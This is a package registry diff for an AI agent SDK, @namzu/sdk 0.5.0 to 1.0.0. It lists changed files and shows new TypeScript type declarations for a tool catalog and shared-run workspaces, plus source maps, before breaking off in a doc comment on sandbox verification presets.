@namzu/sdk 0.5.0 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +393 -0
- package/dist/advisory/executor.d.ts.map +1 -1
- package/dist/advisory/executor.js +9 -2
- package/dist/advisory/executor.js.map +1 -1
- package/dist/advisory/executor.test.d.ts +2 -1
- package/dist/advisory/executor.test.d.ts.map +1 -1
- package/dist/advisory/executor.test.js +7 -4
- package/dist/advisory/executor.test.js.map +1 -1
- package/dist/agents/ReactiveAgent.d.ts.map +1 -1
- package/dist/agents/ReactiveAgent.js +2 -0
- package/dist/agents/ReactiveAgent.js.map +1 -1
- package/dist/agents/SupervisorAgent.d.ts.map +1 -1
- package/dist/agents/SupervisorAgent.js +13 -0
- package/dist/agents/SupervisorAgent.js.map +1 -1
- package/dist/bridge/sse/mapper.test.js +2 -2
- package/dist/constants/compaction/index.d.ts.map +1 -1
- package/dist/constants/compaction/index.js +8 -3
- package/dist/constants/compaction/index.js.map +1 -1
- package/dist/constants/sandbox/index.d.ts +21 -0
- package/dist/constants/sandbox/index.d.ts.map +1 -1
- package/dist/constants/sandbox/index.js +30 -0
- package/dist/constants/sandbox/index.js.map +1 -1
- package/dist/constants/tools/index.d.ts.map +1 -1
- package/dist/constants/tools/index.js +33 -2
- package/dist/constants/tools/index.js.map +1 -1
- package/dist/manager/run/persistence.d.ts.map +1 -1
- package/dist/manager/run/persistence.js +35 -5
- package/dist/manager/run/persistence.js.map +1 -1
- package/dist/persona/assembler.d.ts +1 -0
- package/dist/persona/assembler.d.ts.map +1 -1
- package/dist/persona/assembler.js +28 -6
- package/dist/persona/assembler.js.map +1 -1
- package/dist/provider/collect.test.js +2 -2
- package/dist/public-runtime.d.ts +5 -4
- package/dist/public-runtime.d.ts.map +1 -1
- package/dist/public-runtime.js +5 -4
- package/dist/public-runtime.js.map +1 -1
- package/dist/public-tools.d.ts +2 -0
- package/dist/public-tools.d.ts.map +1 -1
- package/dist/public-tools.js +2 -0
- package/dist/public-tools.js.map +1 -1
- package/dist/public-types.d.ts +3 -0
- package/dist/public-types.d.ts.map +1 -1
- package/dist/registry/index.d.ts +2 -0
- package/dist/registry/index.d.ts.map +1 -1
- package/dist/registry/index.js +1 -0
- package/dist/registry/index.js.map +1 -1
- package/dist/registry/tool/execute.d.ts.map +1 -1
- package/dist/registry/tool/execute.js +87 -5
- package/dist/registry/tool/execute.js.map +1 -1
- package/dist/registry/tool/execute.test.d.ts +4 -2
- package/dist/registry/tool/execute.test.d.ts.map +1 -1
- package/dist/registry/tool/execute.test.js +112 -3
- package/dist/registry/tool/execute.test.js.map +1 -1
- package/dist/registry/toolset/catalog.d.ts +42 -0
- package/dist/registry/toolset/catalog.d.ts.map +1 -0
- package/dist/registry/toolset/catalog.js +217 -0
- package/dist/registry/toolset/catalog.js.map +1 -0
- package/dist/registry/toolset/catalog.test.d.ts +2 -0
- package/dist/registry/toolset/catalog.test.d.ts.map +1 -0
- package/dist/registry/toolset/catalog.test.js +85 -0
- package/dist/registry/toolset/catalog.test.js.map +1 -0
- package/dist/runtime/query/__tests__/deferred-tools.test.d.ts +2 -0
- package/dist/runtime/query/__tests__/deferred-tools.test.d.ts.map +1 -0
- package/dist/runtime/query/__tests__/deferred-tools.test.js +147 -0
- package/dist/runtime/query/__tests__/deferred-tools.test.js.map +1 -0
- package/dist/runtime/query/__tests__/executor-concurrency.test.d.ts +2 -0
- package/dist/runtime/query/__tests__/executor-concurrency.test.d.ts.map +1 -0
- package/dist/runtime/query/__tests__/executor-concurrency.test.js +98 -0
- package/dist/runtime/query/__tests__/executor-concurrency.test.js.map +1 -0
- package/dist/runtime/query/__tests__/executor-plugin-hooks.test.js +38 -3
- package/dist/runtime/query/__tests__/executor-plugin-hooks.test.js.map +1 -1
- package/dist/runtime/query/__tests__/prompt.test.js +47 -2
- package/dist/runtime/query/__tests__/prompt.test.js.map +1 -1
- package/dist/runtime/query/__tests__/stream-recovery.test.d.ts +2 -0
- package/dist/runtime/query/__tests__/stream-recovery.test.d.ts.map +1 -0
- package/dist/runtime/query/__tests__/stream-recovery.test.js +126 -0
- package/dist/runtime/query/__tests__/stream-recovery.test.js.map +1 -0
- package/dist/runtime/query/continuation.d.ts +16 -0
- package/dist/runtime/query/continuation.d.ts.map +1 -0
- package/dist/runtime/query/continuation.js +16 -0
- package/dist/runtime/query/continuation.js.map +1 -0
- package/dist/runtime/query/executor.d.ts +3 -0
- package/dist/runtime/query/executor.d.ts.map +1 -1
- package/dist/runtime/query/executor.js +71 -3
- package/dist/runtime/query/executor.js.map +1 -1
- package/dist/runtime/query/index.d.ts.map +1 -1
- package/dist/runtime/query/index.js +19 -3
- package/dist/runtime/query/index.js.map +1 -1
- package/dist/runtime/query/iteration/index.d.ts +22 -0
- package/dist/runtime/query/iteration/index.d.ts.map +1 -1
- package/dist/runtime/query/iteration/index.js +227 -60
- package/dist/runtime/query/iteration/index.js.map +1 -1
- package/dist/runtime/query/iteration/phases/context.d.ts +10 -0
- package/dist/runtime/query/iteration/phases/context.d.ts.map +1 -1
- package/dist/runtime/query/iteration/phases/context.js.map +1 -1
- package/dist/runtime/query/prompt.d.ts.map +1 -1
- package/dist/runtime/query/prompt.js +21 -1
- package/dist/runtime/query/prompt.js.map +1 -1
- package/dist/runtime/query/tooling.d.ts +1 -0
- package/dist/runtime/query/tooling.d.ts.map +1 -1
- package/dist/runtime/query/tooling.js +1 -0
- package/dist/runtime/query/tooling.js.map +1 -1
- package/dist/sandbox/provider/local.d.ts.map +1 -1
- package/dist/sandbox/provider/local.js +32 -1
- package/dist/sandbox/provider/local.js.map +1 -1
- package/dist/session/workspace/__tests__/shared-run.test.d.ts +2 -0
- package/dist/session/workspace/__tests__/shared-run.test.d.ts.map +1 -0
- package/dist/session/workspace/__tests__/shared-run.test.js +147 -0
- package/dist/session/workspace/__tests__/shared-run.test.js.map +1 -0
- package/dist/session/workspace/index.d.ts +2 -0
- package/dist/session/workspace/index.d.ts.map +1 -1
- package/dist/session/workspace/index.js +1 -0
- package/dist/session/workspace/index.js.map +1 -1
- package/dist/session/workspace/shared-run.d.ts +81 -0
- package/dist/session/workspace/shared-run.d.ts.map +1 -0
- package/dist/session/workspace/shared-run.js +251 -0
- package/dist/session/workspace/shared-run.js.map +1 -0
- package/dist/skills/loader.d.ts.map +1 -1
- package/dist/skills/loader.js +36 -6
- package/dist/skills/loader.js.map +1 -1
- package/dist/skills/loader.test.d.ts +2 -0
- package/dist/skills/loader.test.d.ts.map +1 -0
- package/dist/skills/loader.test.js +65 -0
- package/dist/skills/loader.test.js.map +1 -0
- package/dist/streaming/coalesce.test.js +1 -1
- package/dist/tools/builtins/__tests__/edit.test.d.ts +2 -0
- package/dist/tools/builtins/__tests__/edit.test.d.ts.map +1 -0
- package/dist/tools/builtins/__tests__/edit.test.js +38 -0
- package/dist/tools/builtins/__tests__/edit.test.js.map +1 -0
- package/dist/tools/builtins/__tests__/payload-budget.test.d.ts +2 -0
- package/dist/tools/builtins/__tests__/payload-budget.test.d.ts.map +1 -0
- package/dist/tools/builtins/__tests__/payload-budget.test.js +22 -0
- package/dist/tools/builtins/__tests__/payload-budget.test.js.map +1 -0
- package/dist/tools/builtins/__tests__/read-file.test.d.ts +2 -0
- package/dist/tools/builtins/__tests__/read-file.test.d.ts.map +1 -0
- package/dist/tools/builtins/__tests__/read-file.test.js +24 -0
- package/dist/tools/builtins/__tests__/read-file.test.js.map +1 -0
- package/dist/tools/builtins/__tests__/verify-outputs.test.d.ts +2 -0
- package/dist/tools/builtins/__tests__/verify-outputs.test.d.ts.map +1 -0
- package/dist/tools/builtins/__tests__/verify-outputs.test.js +52 -0
- package/dist/tools/builtins/__tests__/verify-outputs.test.js.map +1 -0
- package/dist/tools/builtins/__tests__/write-file.test.d.ts +2 -0
- package/dist/tools/builtins/__tests__/write-file.test.d.ts.map +1 -0
- package/dist/tools/builtins/__tests__/write-file.test.js +74 -0
- package/dist/tools/builtins/__tests__/write-file.test.js.map +1 -0
- package/dist/tools/builtins/bash.d.ts.map +1 -1
- package/dist/tools/builtins/bash.js +40 -7
- package/dist/tools/builtins/bash.js.map +1 -1
- package/dist/tools/builtins/edit.d.ts +5 -2
- package/dist/tools/builtins/edit.d.ts.map +1 -1
- package/dist/tools/builtins/edit.js +114 -18
- package/dist/tools/builtins/edit.js.map +1 -1
- package/dist/tools/builtins/index.d.ts +1 -0
- package/dist/tools/builtins/index.d.ts.map +1 -1
- package/dist/tools/builtins/index.js +13 -13
- package/dist/tools/builtins/index.js.map +1 -1
- package/dist/tools/builtins/read-file.d.ts +1 -0
- package/dist/tools/builtins/read-file.d.ts.map +1 -1
- package/dist/tools/builtins/read-file.js +23 -8
- package/dist/tools/builtins/read-file.js.map +1 -1
- package/dist/tools/builtins/search-tools.d.ts.map +1 -1
- package/dist/tools/builtins/search-tools.js +4 -1
- package/dist/tools/builtins/search-tools.js.map +1 -1
- package/dist/tools/builtins/verify-outputs.d.ts +5 -0
- package/dist/tools/builtins/verify-outputs.d.ts.map +1 -0
- package/dist/tools/builtins/verify-outputs.js +103 -0
- package/dist/tools/builtins/verify-outputs.js.map +1 -0
- package/dist/tools/builtins/write-file.d.ts +3 -2
- package/dist/tools/builtins/write-file.d.ts.map +1 -1
- package/dist/tools/builtins/write-file.js +72 -12
- package/dist/tools/builtins/write-file.js.map +1 -1
- package/dist/tools/coordinator/__tests__/agent.test.d.ts +15 -0
- package/dist/tools/coordinator/__tests__/agent.test.d.ts.map +1 -0
- package/dist/tools/coordinator/__tests__/agent.test.js +142 -0
- package/dist/tools/coordinator/__tests__/agent.test.js.map +1 -0
- package/dist/tools/coordinator/__tests__/task-list.test.d.ts +13 -0
- package/dist/tools/coordinator/__tests__/task-list.test.d.ts.map +1 -0
- package/dist/tools/coordinator/__tests__/task-list.test.js +162 -0
- package/dist/tools/coordinator/__tests__/task-list.test.js.map +1 -0
- package/dist/tools/coordinator/agent.d.ts +34 -0
- package/dist/tools/coordinator/agent.d.ts.map +1 -0
- package/dist/tools/coordinator/agent.js +107 -0
- package/dist/tools/coordinator/agent.js.map +1 -0
- package/dist/tools/coordinator/index.d.ts +7 -0
- package/dist/tools/coordinator/index.d.ts.map +1 -1
- package/dist/tools/coordinator/index.js +111 -21
- package/dist/tools/coordinator/index.js.map +1 -1
- package/dist/types/agent/base.d.ts +8 -0
- package/dist/types/agent/base.d.ts.map +1 -1
- package/dist/types/agent/reactive.d.ts +23 -0
- package/dist/types/agent/reactive.d.ts.map +1 -1
- package/dist/types/agent/supervisor.d.ts +41 -0
- package/dist/types/agent/supervisor.d.ts.map +1 -1
- package/dist/types/message/index.d.ts +22 -1
- package/dist/types/message/index.d.ts.map +1 -1
- package/dist/types/message/index.js +7 -2
- package/dist/types/message/index.js.map +1 -1
- package/dist/types/provider/chat.d.ts +2 -9
- package/dist/types/provider/chat.d.ts.map +1 -1
- package/dist/types/run/events.d.ts +6 -0
- package/dist/types/run/events.d.ts.map +1 -1
- package/dist/types/run/events.js.map +1 -1
- package/dist/types/sandbox/index.d.ts +193 -0
- package/dist/types/sandbox/index.d.ts.map +1 -1
- package/dist/types/sandbox/index.js.map +1 -1
- package/dist/types/skills/index.d.ts +2 -0
- package/dist/types/skills/index.d.ts.map +1 -1
- package/dist/types/tool/index.d.ts +22 -0
- package/dist/types/tool/index.d.ts.map +1 -1
- package/dist/types/toolset/index.d.ts +71 -0
- package/dist/types/toolset/index.d.ts.map +1 -0
- package/dist/types/toolset/index.js +2 -0
- package/dist/types/toolset/index.js.map +1 -0
- package/dist/types/workspace/index.d.ts +1 -0
- package/dist/types/workspace/index.d.ts.map +1 -1
- package/dist/types/workspace/shared-run.d.ts +61 -0
- package/dist/types/workspace/shared-run.d.ts.map +1 -0
- package/dist/types/workspace/shared-run.js +2 -0
- package/dist/types/workspace/shared-run.js.map +1 -0
- package/dist/verification/index.d.ts +1 -0
- package/dist/verification/index.d.ts.map +1 -1
- package/dist/verification/index.js +1 -0
- package/dist/verification/index.js.map +1 -1
- package/dist/verification/presets.d.ts +53 -0
- package/dist/verification/presets.d.ts.map +1 -0
- package/dist/verification/presets.js +70 -0
- package/dist/verification/presets.js.map +1 -0
- package/dist/verification/presets.test.d.ts +16 -0
- package/dist/verification/presets.test.d.ts.map +1 -0
- package/dist/verification/presets.test.js +79 -0
- package/dist/verification/presets.test.js.map +1 -0
- package/package.json +3 -2
- package/src/advisory/executor.test.ts +7 -4
- package/src/advisory/executor.ts +11 -2
- package/src/agents/ReactiveAgent.ts +2 -0
- package/src/agents/SupervisorAgent.ts +13 -0
- package/src/bridge/sse/mapper.test.ts +2 -2
- package/src/constants/compaction/index.ts +8 -3
- package/src/constants/sandbox/index.ts +37 -0
- package/src/constants/tools/index.ts +33 -2
- package/src/manager/run/persistence.ts +34 -6
- package/src/persona/assembler.ts +31 -8
- package/src/provider/collect.test.ts +2 -2
- package/src/public-runtime.ts +14 -1
- package/src/public-tools.ts +2 -0
- package/src/public-types.ts +7 -0
- package/src/registry/index.ts +7 -0
- package/src/registry/tool/execute.test.ts +132 -3
- package/src/registry/tool/execute.ts +94 -9
- package/src/registry/toolset/catalog.test.ts +97 -0
- package/src/registry/toolset/catalog.ts +283 -0
- package/src/runtime/query/__tests__/deferred-tools.test.ts +183 -0
- package/src/runtime/query/__tests__/executor-concurrency.test.ts +122 -0
- package/src/runtime/query/__tests__/executor-plugin-hooks.test.ts +48 -3
- package/src/runtime/query/__tests__/prompt.test.ts +51 -2
- package/src/runtime/query/__tests__/stream-recovery.test.ts +156 -0
- package/src/runtime/query/continuation.ts +16 -0
- package/src/runtime/query/executor.ts +82 -13
- package/src/runtime/query/index.ts +24 -3
- package/src/runtime/query/iteration/index.ts +263 -68
- package/src/runtime/query/iteration/phases/context.ts +10 -0
- package/src/runtime/query/prompt.ts +17 -1
- package/src/runtime/query/tooling.ts +2 -0
- package/src/sandbox/provider/local.ts +33 -0
- package/src/session/workspace/__tests__/shared-run.test.ts +181 -0
- package/src/session/workspace/index.ts +6 -0
- package/src/session/workspace/shared-run.ts +316 -0
- package/src/skills/loader.test.ts +89 -0
- package/src/skills/loader.ts +37 -6
- package/src/streaming/coalesce.test.ts +1 -1
- package/src/tools/builtins/__tests__/edit.test.ts +57 -0
- package/src/tools/builtins/__tests__/payload-budget.test.ts +29 -0
- package/src/tools/builtins/__tests__/read-file.test.ts +31 -0
- package/src/tools/builtins/__tests__/verify-outputs.test.ts +71 -0
- package/src/tools/builtins/__tests__/write-file.test.ts +97 -0
- package/src/tools/builtins/bash.ts +48 -7
- package/src/tools/builtins/edit.ts +162 -27
- package/src/tools/builtins/index.ts +13 -13
- package/src/tools/builtins/read-file.ts +31 -8
- package/src/tools/builtins/search-tools.ts +5 -1
- package/src/tools/builtins/verify-outputs.ts +126 -0
- package/src/tools/builtins/write-file.ts +83 -14
- package/src/tools/coordinator/__tests__/agent.test.ts +172 -0
- package/src/tools/coordinator/__tests__/task-list.test.ts +182 -0
- package/src/tools/coordinator/agent.ts +157 -0
- package/src/tools/coordinator/index.ts +128 -22
- package/src/types/agent/base.ts +8 -0
- package/src/types/agent/reactive.ts +25 -0
- package/src/types/agent/supervisor.ts +45 -0
- package/src/types/message/index.ts +32 -2
- package/src/types/provider/chat.ts +2 -9
- package/src/types/run/events.ts +6 -0
- package/src/types/sandbox/index.ts +219 -0
- package/src/types/skills/index.ts +4 -0
- package/src/types/tool/index.ts +24 -0
- package/src/types/toolset/index.ts +86 -0
- package/src/types/workspace/index.ts +9 -0
- package/src/types/workspace/shared-run.ts +65 -0
- package/src/verification/index.ts +1 -0
- package/src/verification/presets.test.ts +112 -0
- package/src/verification/presets.ts +72 -0
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
import type { LLMToolSchema, ToolDefinition, ToolPermission } from '../tool/index.js';
|
|
2
|
+
export type ToolCatalogSurface = 'chat' | 'cowork' | 'managed-agent' | 'worker' | 'code';
|
|
3
|
+
export type ToolSourceKind = 'host_tool' | 'provider_builtin' | 'mcp_server' | 'skill' | 'plugin' | 'connector';
|
|
4
|
+
export type ToolLoadingMode = 'eager' | 'deferred' | 'disabled' | 'suspended';
|
|
5
|
+
export type ToolPermissionPolicy = 'default' | 'always_allow' | 'always_ask' | 'deny';
|
|
6
|
+
export interface ToolSource {
|
|
7
|
+
readonly id: string;
|
|
8
|
+
readonly kind: ToolSourceKind;
|
|
9
|
+
readonly name: string;
|
|
10
|
+
readonly description?: string;
|
|
11
|
+
readonly provider?: string;
|
|
12
|
+
readonly mcpServer?: {
|
|
13
|
+
readonly name: string;
|
|
14
|
+
readonly url?: string;
|
|
15
|
+
readonly transport?: 'streamable_http' | 'sse' | 'stdio';
|
|
16
|
+
readonly authorizationRef?: string;
|
|
17
|
+
};
|
|
18
|
+
readonly providerTool?: {
|
|
19
|
+
readonly type: string;
|
|
20
|
+
readonly name?: string;
|
|
21
|
+
readonly beta?: string;
|
|
22
|
+
};
|
|
23
|
+
readonly skill?: {
|
|
24
|
+
readonly type: 'anthropic' | 'custom';
|
|
25
|
+
readonly skillId: string;
|
|
26
|
+
readonly version?: string;
|
|
27
|
+
};
|
|
28
|
+
readonly metadata?: Record<string, unknown>;
|
|
29
|
+
}
|
|
30
|
+
export interface ToolsetPolicy {
|
|
31
|
+
readonly enabled?: boolean;
|
|
32
|
+
readonly loading?: ToolLoadingMode;
|
|
33
|
+
readonly preferred?: boolean;
|
|
34
|
+
readonly permissionPolicy?: ToolPermissionPolicy;
|
|
35
|
+
readonly surfaces?: readonly ToolCatalogSurface[];
|
|
36
|
+
readonly providerConfig?: Record<string, unknown>;
|
|
37
|
+
}
|
|
38
|
+
export interface ToolsetDefinition {
|
|
39
|
+
readonly id: string;
|
|
40
|
+
readonly sourceId: string;
|
|
41
|
+
readonly name: string;
|
|
42
|
+
readonly description?: string;
|
|
43
|
+
readonly defaultPolicy?: ToolsetPolicy;
|
|
44
|
+
readonly toolPolicies?: Record<string, ToolsetPolicy>;
|
|
45
|
+
readonly metadata?: Record<string, unknown>;
|
|
46
|
+
}
|
|
47
|
+
export interface ToolCatalogEntry {
|
|
48
|
+
readonly name: string;
|
|
49
|
+
readonly description: string;
|
|
50
|
+
readonly sourceId: string;
|
|
51
|
+
readonly toolsetId: string;
|
|
52
|
+
readonly policy: ToolsetPolicy;
|
|
53
|
+
readonly definition?: ToolDefinition;
|
|
54
|
+
readonly llmSchema?: LLMToolSchema;
|
|
55
|
+
readonly permissions?: readonly ToolPermission[];
|
|
56
|
+
readonly category?: ToolDefinition['category'];
|
|
57
|
+
readonly metadata?: Record<string, unknown>;
|
|
58
|
+
}
|
|
59
|
+
export interface ToolCatalogSearchResult {
|
|
60
|
+
readonly tool: ToolCatalogEntry;
|
|
61
|
+
readonly source: ToolSource;
|
|
62
|
+
readonly toolset: ToolsetDefinition;
|
|
63
|
+
readonly score: number;
|
|
64
|
+
readonly matched: readonly string[];
|
|
65
|
+
}
|
|
66
|
+
export interface ToolCatalogSnapshot {
|
|
67
|
+
readonly sources: readonly ToolSource[];
|
|
68
|
+
readonly toolsets: readonly ToolsetDefinition[];
|
|
69
|
+
readonly tools: readonly ToolCatalogEntry[];
|
|
70
|
+
}
|
|
71
|
+
//# sourceMappingURL=index.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/types/toolset/index.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAE,cAAc,EAAE,cAAc,EAAE,MAAM,kBAAkB,CAAA;AAErF,MAAM,MAAM,kBAAkB,GAAG,MAAM,GAAG,QAAQ,GAAG,eAAe,GAAG,QAAQ,GAAG,MAAM,CAAA;AAExF,MAAM,MAAM,cAAc,GACvB,WAAW,GACX,kBAAkB,GAClB,YAAY,GACZ,OAAO,GACP,QAAQ,GACR,WAAW,CAAA;AAEd,MAAM,MAAM,eAAe,GAAG,OAAO,GAAG,UAAU,GAAG,UAAU,GAAG,WAAW,CAAA;AAE7E,MAAM,MAAM,oBAAoB,GAAG,SAAS,GAAG,cAAc,GAAG,YAAY,GAAG,MAAM,CAAA;AAErF,MAAM,WAAW,UAAU;IAC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QAAQ,CAAC,OAAO,EAAE,iBAAiB,CAAA;IACnC,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAA;IACtB,QAAQ,CAAC,OAAO,EAAE,SAAS,MAAM,EAAE,CAAA;CACnC;AAED,MAAM,WAAW,mBAAmB;IACnC,QAAQ,CAAC,OAAO,EAAE,SAAS,UAAU,EAAE,CAAA;IACvC,QAAQ,CAAC,QAAQ,EAAE,SAAS,iBAAiB,EAAE,CAAA;IAC/C,QAAQ,CAAC,KAAK,EAAE,SAAS,gBAAgB,EAAE,CAAA;CAC3C"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/types/toolset/index.ts"],"names":[],"mappings":""}
|
|
@@ -1,2 +1,3 @@
|
|
|
1
1
|
export type { GitWorktreeBackendMeta, WorkspaceBackendKind, WorkspaceBackendMeta, WorkspaceRef, } from './ref.js';
|
|
2
|
+
export type { SharedRunWorkspaceAgentRecord, SharedRunWorkspaceManifest, SharedRunWorkspacePaths, SharedRunWorkspacePlan, SharedRunWorkspaceRefs, SharedRunWorkspaceSource, } from './shared-run.js';
|
|
2
3
|
//# sourceMappingURL=index.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/types/workspace/index.ts"],"names":[],"mappings":"AAMA,YAAY,EACX,sBAAsB,EACtB,oBAAoB,EACpB,oBAAoB,EACpB,YAAY,GACZ,MAAM,UAAU,CAAA"}
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/types/workspace/index.ts"],"names":[],"mappings":"AAMA,YAAY,EACX,sBAAsB,EACtB,oBAAoB,EACpB,oBAAoB,EACpB,YAAY,GACZ,MAAM,UAAU,CAAA;AAEjB,YAAY,EACX,6BAA6B,EAC7B,0BAA0B,EAC1B,uBAAuB,EACvB,sBAAsB,EACtB,sBAAsB,EACtB,wBAAwB,GACxB,MAAM,iBAAiB,CAAA"}
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
export interface SharedRunWorkspacePaths {
|
|
2
|
+
root: string;
|
|
3
|
+
manifest: string;
|
|
4
|
+
sharedContext: string;
|
|
5
|
+
sources: string;
|
|
6
|
+
plans: string;
|
|
7
|
+
agents: string;
|
|
8
|
+
}
|
|
9
|
+
export interface SharedRunWorkspaceSource {
|
|
10
|
+
id: string;
|
|
11
|
+
label: string;
|
|
12
|
+
path: string;
|
|
13
|
+
kind?: string;
|
|
14
|
+
sizeBytes?: number;
|
|
15
|
+
}
|
|
16
|
+
export interface SharedRunWorkspacePlan {
|
|
17
|
+
id: string;
|
|
18
|
+
briefPath: string;
|
|
19
|
+
status: 'seeded' | 'ready' | 'running' | 'completed' | 'failed';
|
|
20
|
+
updatedAt: string;
|
|
21
|
+
}
|
|
22
|
+
export interface SharedRunWorkspaceAgentRecord {
|
|
23
|
+
agentId: string;
|
|
24
|
+
taskId?: string;
|
|
25
|
+
workPath: string;
|
|
26
|
+
status: 'assigned' | 'running' | 'completed' | 'failed' | 'canceled';
|
|
27
|
+
updatedAt: string;
|
|
28
|
+
}
|
|
29
|
+
export interface SharedRunWorkspaceManifest {
|
|
30
|
+
schemaVersion: 1;
|
|
31
|
+
kind: 'shared-run-workspace';
|
|
32
|
+
createdAt: string;
|
|
33
|
+
updatedAt: string;
|
|
34
|
+
label?: string;
|
|
35
|
+
paths: SharedRunWorkspacePaths;
|
|
36
|
+
sources: SharedRunWorkspaceSource[];
|
|
37
|
+
plans: SharedRunWorkspacePlan[];
|
|
38
|
+
agents: SharedRunWorkspaceAgentRecord[];
|
|
39
|
+
}
|
|
40
|
+
export interface SharedRunWorkspaceRefs {
|
|
41
|
+
rootPath: string;
|
|
42
|
+
manifestPath: string;
|
|
43
|
+
/**
|
|
44
|
+
* Path to the shared coordination packet for this run. Workers read this
|
|
45
|
+
* before the larger task context or source inventory so common runtime
|
|
46
|
+
* instructions, source summaries, and workspace paths are not rediscovered
|
|
47
|
+
* independently by every specialist.
|
|
48
|
+
*/
|
|
49
|
+
sharedContextPath: string;
|
|
50
|
+
sourceInventoryPath: string;
|
|
51
|
+
supervisorBriefPath: string;
|
|
52
|
+
/**
|
|
53
|
+
* Path to the canonical, full-fidelity user task description for this run.
|
|
54
|
+
* Workers read this instead of receiving the user's request text inline in
|
|
55
|
+
* every child prompt — keeps child prompts compact and lets the request
|
|
56
|
+
* grow without bloating per-worker handoffs.
|
|
57
|
+
*/
|
|
58
|
+
taskContextPath: string;
|
|
59
|
+
agentsPath: string;
|
|
60
|
+
}
|
|
61
|
+
//# sourceMappingURL=shared-run.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"shared-run.d.ts","sourceRoot":"","sources":["../../../src/types/workspace/shared-run.ts"],"names":[],"mappings":"AAAA,MAAM,WAAW,uBAAuB;IACvC,IAAI,EAAE,MAAM,CAAA;IACZ,QAAQ,EAAE,MAAM,CAAA;IAChB,aAAa,EAAE,MAAM,CAAA;IACrB,OAAO,EAAE,MAAM,CAAA;IACf,KAAK,EAAE,MAAM,CAAA;IACb,MAAM,EAAE,MAAM,CAAA;CACd;AAED,MAAM,WAAW,wBAAwB;IACxC,EAAE,EAAE,MAAM,CAAA;IACV,KAAK,EAAE,MAAM,CAAA;IACb,IAAI,EAAE,MAAM,CAAA;IACZ,IAAI,CAAC,EAAE,MAAM,CAAA;IACb,SAAS,CAAC,EAAE,MAAM,CAAA;CAClB;AAED,MAAM,WAAW,sBAAsB;IACtC,EAAE,EAAE,MAAM,CAAA;IACV,SAAS,EAAE,MAAM,CAAA;IACjB,MAAM,EAAE,QAAQ,GAAG,OAAO,GAAG,SAAS,GAAG,WAAW,GAAG,QAAQ,CAAA;IAC/D,SAAS,EAAE,MAAM,CAAA;CACjB;AAED,MAAM,WAAW,6BAA6B;IAC7C,OAAO,EAAE,MAAM,CAAA;IACf,MAAM,CAAC,EAAE,MAAM,CAAA;IACf,QAAQ,EAAE,MAAM,CAAA;IAChB,MAAM,EAAE,UAAU,GAAG,SAAS,GAAG,WAAW,GAAG,QAAQ,GAAG,UAAU,CAAA;IACpE,SAAS,EAAE,MAAM,CAAA;CACjB;AAED,MAAM,WAAW,0BAA0B;IAC1C,aAAa,EAAE,CAAC,CAAA;IAChB,IAAI,EAAE,sBAAsB,CAAA;IAC5B,SAAS,EAAE,MAAM,CAAA;IACjB,SAAS,EAAE,MAAM,CAAA;IACjB,KAAK,CAAC,EAAE,MAAM,CAAA;IACd,KAAK,EAAE,uBAAuB,CAAA;IAC9B,OAAO,EAAE,wBAAwB,EAAE,CAAA;IACnC,KAAK,EAAE,sBAAsB,EAAE,CAAA;IAC/B,MAAM,EAAE,6BAA6B,EAAE,CAAA;CACvC;AAED,MAAM,WAAW,sBAAsB;IACtC,QAAQ,EAAE,MAAM,CAAA;IAChB,YAAY,EAAE,MAAM,CAAA;IACpB;;;;;OAKG;IACH,iBAAiB,EAAE,MAAM,CAAA;IACzB,mBAAmB,EAAE,MAAM,CAAA;IAC3B,mBAAmB,EAAE,MAAM,CAAA;IAC3B;;;;;OAKG;IACH,eAAe,EAAE,MAAM,CAAA;IACvB,UAAU,EAAE,MAAM,CAAA;CAClB"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"shared-run.js","sourceRoot":"","sources":["../../../src/types/workspace/shared-run.ts"],"names":[],"mappings":""}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/verification/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,gBAAgB,EAAE,KAAK,eAAe,EAAE,MAAM,WAAW,CAAA;AAClE,OAAO,EAAE,YAAY,EAAE,MAAM,YAAY,CAAA"}
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/verification/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,gBAAgB,EAAE,KAAK,eAAe,EAAE,MAAM,WAAW,CAAA;AAClE,OAAO,EAAE,0BAA0B,EAAE,+BAA+B,EAAE,MAAM,cAAc,CAAA;AAC1F,OAAO,EAAE,YAAY,EAAE,MAAM,YAAY,CAAA"}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/verification/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,gBAAgB,EAAwB,MAAM,WAAW,CAAA;AAClE,OAAO,EAAE,YAAY,EAAE,MAAM,YAAY,CAAA"}
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/verification/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,gBAAgB,EAAwB,MAAM,WAAW,CAAA;AAClE,OAAO,EAAE,0BAA0B,EAAE,+BAA+B,EAAE,MAAM,cAAc,CAAA;AAC1F,OAAO,EAAE,YAAY,EAAE,MAAM,YAAY,CAAA"}
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
import type { VerificationGateConfig } from '../types/verification/index.js';
|
|
2
|
+
/**
|
|
3
|
+
* Sensible defaults for an agent that runs inside a host-provided
|
|
4
|
+
* sandbox (isolated working directory, isolated container, or both).
|
|
5
|
+
*
|
|
6
|
+
* The model: the sandbox is the safety boundary. Anything that
|
|
7
|
+
* stays inside the sandbox auto-approves. Things that try to escape
|
